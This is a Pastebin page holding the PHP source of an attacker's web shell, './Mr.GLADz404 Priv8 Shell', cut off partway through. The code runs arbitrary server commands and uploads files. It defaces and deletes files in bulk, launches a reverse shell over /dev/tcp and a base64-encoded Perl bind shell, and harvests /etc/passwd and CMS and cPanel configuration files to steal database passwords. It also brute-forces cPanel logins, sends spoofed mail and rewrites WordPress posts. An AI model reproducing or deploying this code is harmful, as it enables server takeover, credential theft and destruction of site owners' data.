Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <html>
- <!-------
- ###############################################################################
- // CODED By ./Mr.GLADz404
- // THANKS TO ALLAH S.W.T <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3 <3
- // THANKS TO INDOXPLOIT CODERS TEAM & RES7OCK CREW <3
- // THANKS TO ALL MY FRIEND :*
- ###############################################################################
- -------->
- <head>
- <link href='http://res7ock.org/assets/img/favicon.png' rel='shortcut icon' alt='icon'>
- <title>./Mr.GLADz404 Priv8 Shell</title>
- <meta name='author' content='./Mr.GLADz404'>
- <meta charset="UTF-8">
- <link href="" rel="stylesheet" type="text/css">
- <style>
- body{
- font-family: "Racing Sans One", cursive;
- background-color: #e6e6e6;
- text-shadow:0px 0px 1px #757575;
- }
- #content tr:hover{
- background-color: #636263;
- text-shadow:0px 0px 10px #fff;
- }
- #content .first{
- background-color: silver;
- }
- #content .first:hover{
- background-color: silver;
- text-shadow:0px 0px 1px #757575;
- }
- table{
- border: 1px #000000 dotted;
- }
- H1{
- font-family: "Rye", cursive;
- }
- a{
- color: #000;
- text-decoration: none;
- }
- a:hover{
- color: #fff;
- text-shadow:0px 0px 10px #FF00FF;
- }
- input,select,textarea{
- border: 1px #000000 solid;
- -moz-border-radius: 5px;
- -webkit-border-radius:5px;
- border-radius:5px;
- }
- </style>
- </head>
- <?php
- set_time_limit(0);
- error_reporting(0);
- //function
- function ambilKata($param, $kata1, $kata2){
- if(strpos($param, $kata1) === FALSE) return FALSE;
- if(strpos($param, $kata2) === FALSE) return FALSE;
- $start = strpos($param, $kata1) + strlen($kata1);
- $end = strpos($param, $kata2, $start);
- $return = substr($param, $start, $end - $start);
- return $return;
- }
- if(get_magic_quotes_gpc()) {
- function idx_ss($array) {
- return is_array($array) ? array_map('idx_ss', $array) : stripslashes($array);
- }
- $_POST = idx_ss($_POST);
- }
- function hdd($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- function exe($cmd) {
- if(function_exists('system')) {
- @ob_start();
- @system($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('exec')) {
- @exec($cmd,$results);
- $buff = "";
- foreach($results as $result) {
- $buff .= $result;
- } return $buff;
- } elseif(function_exists('passthru')) {
- @ob_start();
- @passthru($cmd);
- $buff = @ob_get_contents();
- @ob_end_clean();
- return $buff;
- } elseif(function_exists('shell_exec')) {
- $buff = @shell_exec($cmd);
- return $buff;
- }
- }
- //check dir
- $nick = "./Mr.GLADz404";
- if(isset($_GET['path'])){
- $path = $_GET['path'];
- }else{
- $path = getcwd();
- }
- $software = getenv("SERVER_SOFTWARE");
- $path = str_replace('\\','/',$path);
- $paths = explode('/',$path);
- $dir = str_replace("\\","/",$dir);
- $scdir = explode("/", $dir);
- $freespace = hdd(disk_free_space("/"));
- $total = hdd(disk_total_space("/"));
- $used = $total - $freespace;
- $sm = (@ini_get(strtolower("safe_mode")) == 'on') ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>";
- $ds = (@ini_get("disable_functions"));
- $mysql = (function_exists('mysql_connect')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $curl = (function_exists('curl_version')) ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $wget = ('wget --help') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $perl = ('perl --help') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $python =('python --help') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>";
- $show_ds = (!empty($ds)) ? "<font color=red>$ds</font>" : "<font color=lime>NONE</font>";
- if(!function_exists('posix_getegid')) {
- $user = @get_current_user();
- $uid = @getmyuid();
- $gid = @getmygid();
- $group = "?";
- } else {
- $uid = @posix_getpwuid(posix_geteuid());
- $gid = @posix_getgrgid(posix_getegid());
- $user = $uid['name'];
- $uid = $uid['uid'];
- $group = $gid['name'];
- $gid = $gid['gid'];
- }
- //uname
- echo "<font color=purple size=2>Time On Server : <font color=lime>".date("d M Y H:i:s",time())."</font></font><br>";
- echo "<font color=purple size=2>Software: <font color=lime>".$software."</font></font><br>";
- echo "<font color=purple size=2>System: <font color=lime>".php_uname()."</font></font><br>";
- echo "<font color=purple size=2>User: <font color=lime>".$user."</font> (".$uid.") Group: <font color=lime>".$group."</font> (".$gid.")<br></font>";
- echo "<font color=purple size=2>Server IP: <font color=lime>".gethostbyname($_SERVER['HTTP_HOST'])."</font> | Your IP: <font color=lime>".$_SERVER['REMOTE_ADDR']."</font></font><br>";
- echo "<font color=purple size=2>HDD: <font color=lime>$used</font> / <font color=lime>$total</font> ( Free: <font color=lime>$freespace</font>)</font> <br>";
- echo "<font color=purple size=2>Safe Mode: $sm <br>";
- echo "<font color=purple size=2>Disable Functions: $show_ds<br></font>";
- echo "<font color=purple size=2>MySQL: $mysql | Perl: $perl | Python: $python | WGET: $wget | CURL: $curl<br>";
- echo "<font color=purple size=3>Current DIR: </font>";
- foreach($paths as $id=>$pat){
- if($pat == '' && $id == 0){
- $a = true;
- echo '<a href="?path=/">/</a>';
- continue;
- }
- if($pat == '') continue;
- echo '<a href="?path=';
- for($i=0;$i<=$id;$i++){
- echo "$paths[$i]";
- if($i != $id) echo "/";
- }
- echo '"><font color=orange size=3>'.$pat.'</font></a>/';
- }
- ##TOOLBAR
- echo "<hr color=red>
- <center>
- <font size=3><a href=?><font color=purple>[<font color=lime>Home</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=upload'><font color=purple>[<font color=lime>Upload</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=fake_root'><font color=purple>[<font color=lime>Fake Root</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=fakemail'><font color=purple>[<font color=lime>Fake Mail</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=mass_deface'><font color=purple>[<font color=lime>Mass Deface</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=mass_delete'><font color=purple>[<font color=lime>Mass Delete</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=config'><font color=purple>[<font color=lime>Config</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=jumping'><font color=purple>[<font color=lime>Jumping</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=symlink'><font color=purple>[<font color=lime>Symlink</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=cpanel'><font color=purple>[<font color=lime>CP Crack</font>]</font></a></font>
- <br>
- <font size=3><a href='?path=$path&gladz404=edit_title_wp'><font color=purple>[<font color=lime>Auto Edit Title WP</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=cgi'><font color=purple>[<font color=lime>CGI Telnet</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=autodwp'><font color=purple>[<font color=lime>Auto Deface WP</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=zone-h'><font color=purple>[<font color=lime>Zone-H</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=smtp'><font color=purple>[<font color=lime>SMTP</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=bypass_etc'><font color=purple>[<font color=lime>Bypass etc/psswd</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=magento'><font color=purple>[<font color=lime>Magento Hunter</font>]</font></a></font>
- <font size=3><a href='?path=$path&gladz404=pepescek'><font color=purple>[<font color=lime>Deface Page Checker</font>]</font></a></font>
- </center>
- <hr color=red><center>";
- //uploads
- if($_GET['gladz404'] == 'upload') {
- if(isset($_FILES['file'])){
- if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
- echo '<font color="#FFB6C1">Succes</font><br />';
- }else{
- echo '<font color="#87CEFA">Error</font><br />';
- }
- }
- echo '<form enctype="multipart/form-data" method="POST"><font color="#FF1493">
- Upload File:<br><input type="file" name="file" />
- <input type="submit" value="UPLOAD" />
- </form><br>
- </td></tr>';
- //FAKE ROOT
- } elseif($_GET['gladz404'] == "fake_root") {
- ob_start();
- function reverse($url) {
- $ch = curl_init("http://domains.yougetsignal.com/domains.php");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_POSTFIELDS, "remoteAddress=$url&ket=");
- curl_setopt($ch, CURLOPT_HEADER, 0);
- curl_setopt($ch, CURLOPT_POST, 1);
- $resp = curl_exec($ch);
- $resp = str_replace("[","", str_replace("]","", str_replace("\"\"","", str_replace(", ,",",", str_replace("{","", str_replace("{","", str_replace("}","", str_replace(", ",",", str_replace(", ",",", str_replace("'","", str_replace("'","", str_replace(":",",", str_replace('"','', $resp ) ) ) ) ) ) ) ) ) ))));
- $array = explode(",,", $resp);
- unset($array[0]);
- foreach($array as $lnk) {
- $lnk = "http://$lnk";
- $lnk = str_replace(",", "", $lnk);
- echo $lnk."\n";
- ob_flush();
- flush();
- }
- curl_close($ch);
- }
- function cek($url) {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1 );
- curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
- $resp = curl_exec($ch);
- return $resp;
- }
- $cwd = getcwd();
- $ambil_user = explode("/", $cwd);
- $user = $ambil_user[2];
- if($_POST['reverse']) {
- $site = explode("\r\n", $_POST['url']);
- $file = $_POST['file'];
- foreach($site as $url) {
- $cek = cek("$url/~$user/$file");
- if(preg_match("/hacked/i", $cek)) {
- echo "URL: <a href='$url/~$user/$file' target='_blank'>$url/~$user/$file</a> -> <font color=lime>Fake Root!</font><br>";
- }
- }
- } else {
- echo "<center><form method='post'>
- Filename: <br><input type='text' name='file' value='deface.html' size='50' height='10'><br>
- User: <br><input type='text' value='$user' size='50' height='10' readonly><br>
- Domain: <br>
- <textarea style='width: 450px; height: 250px;' name='url'>";
- reverse($_SERVER['HTTP_HOST']);
- echo "</textarea><br>
- <input type='submit' name='reverse' value='Scan Fake Root!' style='width: 450px;'>
- </form><br>
- NB: Sebelum gunain Tools ini , upload dulu file deface kalian di dir /home/user/ dan /home/user/public_html.</center>";
- }
- //FAKEMAIL
- } elseif($_GET['gladz404'] == "fakemail") {
- echo '
- <center><form action="?gladz404=fakemail&dir='.$path.'#down" method="post">
- <a name="down"></a>
- <table>
- <tr>
- <td>
- <font color="#FFF"><b>Mail to : </b></font></td><td><input placeholder="[email protected]" size="30" type="email" name="mailto" />
- </td>
- </tr>
- <tr>
- <td>
- <font color="#FFF"><b>From : </b></font></td><td><input type="email" size="30" placeholder="[email protected]" name="mailfrom" />
- </td>
- </tr>
- <tr>
- <td>
- <font color="#FFF"><b>Subject : </b></font></td><td><input type="text" size="30" value="Your Site Has Been Hacked" name="mailsubject" />
- </td>
- </tr>
- </table><br>
- <textarea rows="6" cols="60" name="mailcontent">
- Hi Admin :)
- Your System Is Low
- Patch Your System
- I Came , I Saw , I Conguered</textarea>
- <br><input type="submit" value=">>" name="mailsend" />
- </form></center><br><br>';
- if(isset($_POST['mailsend']) && ($_POST['mailsend'] == '>>'))
- {
- $mailto = $_POST['mailto'];
- $mailfrom = $_POST['mailfrom'];
- $mailsubject = $_POST['mailsubject'];
- $mailcontent = $_POST['mailcontent'];
- if(@mail($mailto,$mailsubject,$mailcontent,"FROM:$mailfrom"))
- { echo '<center><span style="color:green"><b>Mail successfully Sent!</b></span></center>'; }
- else echo '<center><span style="color:red"><b>Mail Not Sent!</b></span></center>';
- }
- //Network
- } elseif($_GET['gladz404'] == "network") {
- echo "<center><form method='post'>
- <u>Bind Port:</u> <br>
- PORT: <input type='text' placeholder='port' name='port_bind' value='6969'>
- <input type='submit' name='sub_bp' value='>>'>
- </form>
- <form method='post'>
- <u>Back Connect:</u> <br>
- Server: <input type='text' placeholder='ip' name='ip_bc' value='".$_SERVER['REMOTE_ADDR']."'>
- PORT: <input type='text' placeholder='port' name='port_bc' value='6969'>
- <input type='submit' name='sub_bc' value='>>'>
- </form></center>";
- if(isset($_POST['sub_bc'])) {
- $ip = $_POST['ip_bc'];
- $port = $_POST['port_bc'];
- exe("/bin/bash -i >& /dev/tcp/$ip/$port 0>&1");
- }
- $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
- if(isset($_POST['sub_bp'])) {
- $f_bp = fopen("/tmp/bp.pl", "w");
- fwrite($f_bp, base64_decode($bind_port_p));
- fclose($f_bp);
- $port = $_POST['port_bind'];
- $out = exe("perl /tmp/bp.pl $port 1>/dev/null 2>&1 &");
- sleep(1);
- echo "<pre>".$out."\n".exe("ps aux | grep bp.pl")."</pre>";
- unlink("/tmp/bp.pl");
- }
- ##JUMPING
- } elseif($_GET['gladz404'] == 'jumping') {
- $i = 0;
- echo "<pre><div class='margin: 5px auto;'>";
- $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
- while($passwd = fgets($etc)) {
- if($passwd == '' || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
- foreach($user_jumping[1] as $user_idx_jump) {
- $user_jumping_dir = "/home/$user_idx_jump/public_html";
- if(is_readable($user_jumping_dir)) {
- $i++;
- $jrw = "[<font color=lime>R</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- if(is_writable($user_jumping_dir)) {
- $jrw = "[<font color=lime>RW</font>] <a href='?dir=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
- }
- echo $jrw;
- if(function_exists('posix_getpwuid')) {
- $domain_jump = file_get_contents("/etc/named.conf");
- if($domain_jump == '') {
- echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
- foreach($domains_jump[1] as $dj) {
- $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_jumping_url = $user_jumping_url['name'];
- if($user_jumping_url == $user_idx_jump) {
- echo " => ( <u>$dj</u> )<br>";
- break;
- }
- }
- }
- } else {
- echo "<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
- echo "</div></pre>";
- }
- //MASS Deface
- } elseif(isset($_GET['gladz404']) && ($_GET['gladz404'] == 'mass_deface')){
- function sabun_massal($dir,$namafile,$isi_script) {
- foreach($j as $lokasi)
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $lokasi<br>";
- file_put_contents($lokasi, $isi_script);
- $idx = sabun_massal($dirc,$namafile,$isi_script);
- }
- }
- }
- }
- }
- }
- function sabun_biasa($dir,$namafile,$isi_script) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- file_put_contents($lokasi, $isi_script);
- } elseif($dirb === '..') {
- file_put_contents($lokasi, $isi_script);
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- echo "[<font color=lime>DONE</font>] $dirb/$namafile<br>";
- file_put_contents($lokasi, $isi_script);
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- if($_POST['tipe_sabun'] == 'mahal') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_massal($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- } elseif($_POST['tipe_sabun'] == 'murah') {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- sabun_biasa($_POST['d_dir'], $_POST['d_file'], $_POST['script']);
- echo "</div>";
- }
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Tipe Sabun:</font><br>
- <input type='radio' name='tipe_sabun' value='murah' checked>Biasa<input type='radio' name='tipe_sabun' value='mahal'>Massal<br>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Index File:</font><br>
- <textarea name='script' style='width: 450px; height: 200px;'>HACKED By ./Mr.GLADz404</textarea><br>
- <input type='submit' name='start' value='Mass Deface' style='width: 450px;'>
- </form></center>";
- }
- }
- //MASS DELETE
- elseif($_GET['gladz404'] == 'mass_delete') {
- function hapus_massal($dir,$namafile) {
- if(is_writable($dir)) {
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- $dirc = "$dir/$dirb";
- $lokasi = $dirc.'/'.$namafile;
- if($dirb === '.') {
- if(file_exists("$dir/$namafile")) {
- unlink("$dir/$namafile");
- }
- } elseif($dirb === '..') {
- if(file_exists("".dirname($dir)."/$namafile")) {
- unlink("".dirname($dir)."/$namafile");
- }
- } else {
- if(is_dir($dirc)) {
- if(is_writable($dirc)) {
- if(file_exists($lokasi)) {
- echo "[<font color=lime>DELETED</font>] $lokasi<br>";
- unlink($lokasi);
- $idx = hapus_massal($dirc,$namafile);
- }
- }
- }
- }
- }
- }
- }
- if($_POST['start']) {
- echo "<div style='margin: 5px auto; padding: 5px'>";
- hapus_massal($_POST['d_dir'], $_POST['d_file']);
- echo "</div>";
- } else {
- echo "<center>";
- echo "<form method='post'>
- <font style='text-decoration: underline;'>Folder:</font><br>
- <input type='text' name='d_dir' value='$path' style='width: 450px;' height='10'><br>
- <font style='text-decoration: underline;'>Filename:</font><br>
- <input type='text' name='d_file' value='index.php' style='width: 450px;' height='10'><br>
- <input type='submit' name='start' value='Mass Delete' style='width: 450px;'>
- </form></center>";
- }
- //CONFIG
- } elseif($_GET['gladz404'] == 'config') {
- $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
- $idx = mkdir("gladz404_config", 0777);
- $isi_htc = "Options all\nRequire None\nSatisfy Any";
- $htc = fopen("gladz404_config/.htaccess","w");
- fwrite($htc, $isi_htc);
- while($passwd = fgets($etc)) {
- if($passwd == "" || !$etc) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all('/(.*?):x:/', $passwd, $user_config);
- foreach($user_config[1] as $user_gladz) {
- $user_config_dir = "/home/$user_gladz/public_html/";
- if(is_readable($user_config_dir)) {
- $grab_config = array(
- "/home/$user_gladz/.my.cnf" => "cpanel",
- "/home/$user_gladz/.accesshash" => "WHM-accesshash",
- "/home/$user_gladz/public_html/vdo_config.php" => "Voodoo",
- "/home/$user_gladz/public_html/bw-configs/config.ini" => "BosWeb",
- "/home/$user_gladz/public_html/config/koneksi.php" => "Lokomedia",
- "/home/$user_gladz/public_html/lokomedia/config/koneksi.php" => "Lokomedia",
- "/home/$user_gladz/public_html/clientarea/configuration.php" => "WHMCS",
- "/home/$user_gladz/public_html/whm/configuration.php" => "WHMCS",
- "/home/$user_gladz/public_html/whmcs/configuration.php" => "WHMCS",
- "/home/$user_gladz/public_html/forum/config.php" => "phpBB",
- "/home/$user_gladz/public_html/sites/default/settings.php" => "Drupal",
- "/home/$user_gladz/public_html/config/settings.inc.php" => "PrestaShop",
- "/home/$user_gladz/public_html/app/etc/local.xml" => "Magento",
- "/home/$user_gladz/public_html/joomla/configuration.php" => "Joomla",
- "/home/$user_gladz/public_html/configuration.php" => "Joomla",
- "/home/$user_gladz/public_html/wp/wp-config.php" => "WordPress",
- "/home/$user_gladz/public_html/wordpress/wp-config.php" => "WordPress",
- "/home/$user_gladz/public_html/wp-config.php" => "WordPress",
- "/home/$user_gladz/public_html/admin/config.php" => "OpenCart",
- "/home/$user_gladz/public_html/slconfig.php" => "Sitelok",
- "/home/$user_gladz/public_html/application/config/database.php" => "Ellislab");
- foreach($grab_config as $config => $nama_config) {
- $ambil_config = file_get_contents($config);
- if($ambil_config == '') {
- } else {
- $file_config = fopen("gladz404_config/$user_gladz-$nama_config.txt","w");
- fputs($file_config,$ambil_config);
- }
- }
- }
- }
- }
- }
- echo "<center><a href='?path=$path/gladz404_config'><font color=lime>Done</font></a></center>";
- //symlink
- } elseif(isset($_GET['gladz404']) && ($_GET['gladz404'] == 'symlink')) {
- echo " <form action= method=post>";
- @set_time_limit(0);
- echo "<center><font color=purple>";
- @mkdir('sym',0777);
- $htaccess = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any"; $write =@fopen ('sym/.htaccess','w'); fwrite($write ,$htaccess); @symlink('/','sym/root'); $filelocation = basename(__FILE__); $read_named_conf = @file('/etc/named.conf'); if(!$read_named_conf) { echo "<br><br><font color='green'>Cant access this file on server -> [ /etc/named.conf ]</font></center>"; } else { echo "<table width='700' border='0' cellpadding='3' cellspacing='1' align='center'><td style='background:darkred;color:white;'>Domains</td><td style='background:darkred;color:white;'>Users</td><td style='background:darkred;color:white;'>Symlink </td>"; foreach($read_named_conf as $subject){ if(eregi('zone',$subject)){ preg_match_all('#zone "(.*)"#',$subject,$string); flush(); if(strlen(trim($string[1][0])) >2){ $UID = posix_getpwuid(@fileowner('/etc/valiases/'.$string[1][0])); $name = $UID['name'] ; @symlink('/','sym/root'); $name = $string[1][0]; $iran = '\.ir'; $israel = '\.il'; $indo = '\.id'; $sg12 = '\.sg'; $edu = '\.edu'; $gov = '\.gov'; $gose = '\.go'; $gober = '\.gob'; $mil1 = '\.mil'; $mil2 = '\.mi'; if (eregi("$iran",$string[1][0]) or eregi("$israel",$string[1][0]) or eregi("$indo",$string[1][0])or eregi("$sg12",$string[1][0]) or eregi ("$edu",$string[1][0]) or eregi ("$gov",$string[1][0]) or eregi ("$gose",$string[1][0]) or eregi("$gober",$string[1][0]) or eregi("$mil1",$string[1][0]) or eregi ("$mil2",$string[1][0])) { $name = "<font color=red>".$string[1][0].'</font>'; } echo " <tr> <td><a target=_blank href=http://www.".$string[1][0].'/>'.$name.' </a> </td> <td style=border-left:1px solid white;> '.$UID['name']." </td> <td style=border-left:1px solid white;> <a href=sym/root/home/".$UID['name']."/public_html target=_blank>Symlink </a> </td> </tr>"; flush(); } } } } echo "</center></table></font>";
- //CPANEL CRACK
- }elseif($_GET['gladz404'] == 'cpanel') {
- if($_POST['crack']) {
- $usercp = explode("\r\n", $_POST['user_cp']);
- $passcp = explode("\r\n", $_POST['pass_cp']);
- $i = 0;
- foreach($usercp as $ucp) {
- foreach($passcp as $pcp) {
- if(@mysql_connect('localhost', $ucp, $pcp)) {
- if($_SESSION[$ucp] && $_SESSION[$pcp]) {
- } else {
- $_SESSION[$ucp] = "1";
- $_SESSION[$pcp] = "1";
- if($ucp == '' || $pcp == '') {
- } else {
- $i++;
- if(function_exists('posix_getpwuid')) {
- $domain_cp = file_get_contents("/etc/named.conf");
- if($domain_cp == '') {
- $dom = "<font color=red>gabisa ambil nama domain nya</font>";
- } else {
- preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
- foreach($domains_cp[1] as $dj) {
- $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
- $user_cp_url = $user_cp_url['name'];
- if($user_cp_url == $ucp) {
- $dom = "<a href='http://$dj/' target='_blank'><font color=lime>$dj</font></a>";
- break;
- }
- }
- }
- } else {
- $dom = "<font color=red>function is Disable by system</font>";
- }
- echo "username (<font color=lime>$ucp</font>) password (<font color=lime>$pcp</font>) domain ($dom)<br>";
- }
- }
- }
- }
- }
- if($i == 0) {
- } else {
- echo "<br>sukses nyolong ".$i." Cpanel by <font color=lime>IndoXploit.</font>";
- }
- } else {
- echo "<center>
- <form method='post'>
- USER: <br>
- <textarea style='width: 450px; height: 150px;' name='user_cp'>";
- $_usercp = fopen("/etc/passwd","r");
- while($getu = fgets($_usercp)) {
- if($getu == '' || !$_usercp) {
- echo "<font color=red>Can't read /etc/passwd</font>";
- } else {
- preg_match_all("/(.*?):x:/", $getu, $u);
- foreach($u[1] as $user_cp) {
- if(is_dir("/home/$user_cp/public_html")) {
- echo "$user_cp\n";
- }
- }
- }
- }
- echo "</textarea><br>
- PASS: <br>
- <textarea style='width: 450px; height: 200px;' name='pass_cp'>";
- function cp_pass($dir) {
- $pass = "";
- $dira = scandir($dir);
- foreach($dira as $dirb) {
- if(!is_file("$dir/$dirb")) continue;
- $ambil = file_get_contents("$dir/$dirb");
- if(preg_match("/WordPress/", $ambil)) {
- $pass .= ambilkata($ambil,"DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/JConfig|joomla/", $ambil)) {
- $pass .= ambilkata($ambil,"password = '","'")."\n";
- } elseif(preg_match("/Magento|Mage_Core/", $ambil)) {
- $pass .= ambilkata($ambil,"<password><![CDATA[","]]></password>")."\n";
- } elseif(preg_match("/panggil fungsi validasi xss dan injection/", $ambil)) {
- $pass .= ambilkata($ambil,'password = "','"')."\n";
- } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/", $ambil)) {
- $pass .= ambilkata($ambil,"'DB_PASSWORD', '","'")."\n";
- } elseif(preg_match("/^[client]$/", $ambil)) {
- preg_match("/password=(.*?)/", $ambil, $pass1);
- if(preg_match('/"/', $pass1[1])) {
- $pass1[1] = str_replace('"', "", $pass1[1]);
- $pass .= $pass1[1]."\n";
- } else {
- $pass .= $pass1[1]."\n";
- }
- } elseif(preg_match("/cc_encryption_hash/", $ambil)) {
- $pass .= ambilkata($ambil,"db_password = '","'")."\n";
- }
- }
- echo $pass;
- }
- $cp_pass = cp_pass($dir);
- echo $cp_pass;
- echo "</textarea><br>
- <input type='submit' name='crack' style='width: 450px;' value='Crack'>
- </form>
- <span>NB: CPanel Crack ini sudah auto get password ( pake db password ) maka akan work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br></center>";
- }
- //Auto Edit Title WP
- } elseif($_GET['gladz404'] == 'edit_title_wp') {
- if($_POST['hajar']) {
- $title = htmlspecialchars($_POST['new_title']);
- $pn_title = str_replace(" ", "-", $title);
- if($_POST['cek_edit'] == "Y") {
- $script = $_POST['edit_content'];
- } else {
- $script = $title;
- }
- $conf = $_POST['config_dir'];
- $scan_conf = scandir($conf);
- foreach($scan_conf as $file_conf) {
- if(!is_file("$conf/$file_conf")) continue;
- $config = file_get_contents("$conf/$file_conf");
- if(preg_match("/WordPress/", $config)) {
- $dbhost = ambilkata($config,"DB_HOST', '","'");
- $dbuser = ambilkata($config,"DB_USER', '","'");
- $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
- $dbname = ambilkata($config,"DB_NAME', '","'");
- $dbprefix = ambilkata($config,"table_prefix = '","'");
- $prefix = $dbprefix."posts";
- $option = $dbprefix."options";
- $conn = mysql_connect($dbhost,$dbuser,$dbpass);
- $db = mysql_select_db($dbname);
- $q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");
- $result = mysql_fetch_array($q);
- $id = $result[ID];
- $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
- $result2 = mysql_fetch_array($q2);
- $target = $result2[option_value];
- $update = mysql_query("UPDATE $prefix SET post_title='$title',post_content='$script',post_name='$pn_title',post_status='publish',comment_status='open',ping_status='open',post_type='post',comment_count='1' WHERE id='$id'");
- $update .= mysql_query("UPDATE $option SET option_value='$title' WHERE option_name='blogname' OR option_name='blogdescription'");
- echo "<div style='margin: 5px auto;'>";
- if($target == '') {
- echo "URL: <font color=red>error, gabisa ambil nama domain nya</font> -> ";
- } else {
- echo "URL: <a href='$target/?p=$id' target='_blank'>$target/?p=$id</a> -> ";
- }
- if(!$update OR !$conn OR !$db) {
- echo "<font color=red>MySQL Error: ".mysql_error()."</font><br>";
- } else {
- echo "<font color=lime>sukses di ganti.</font><br>";
- }
- echo "</div>";
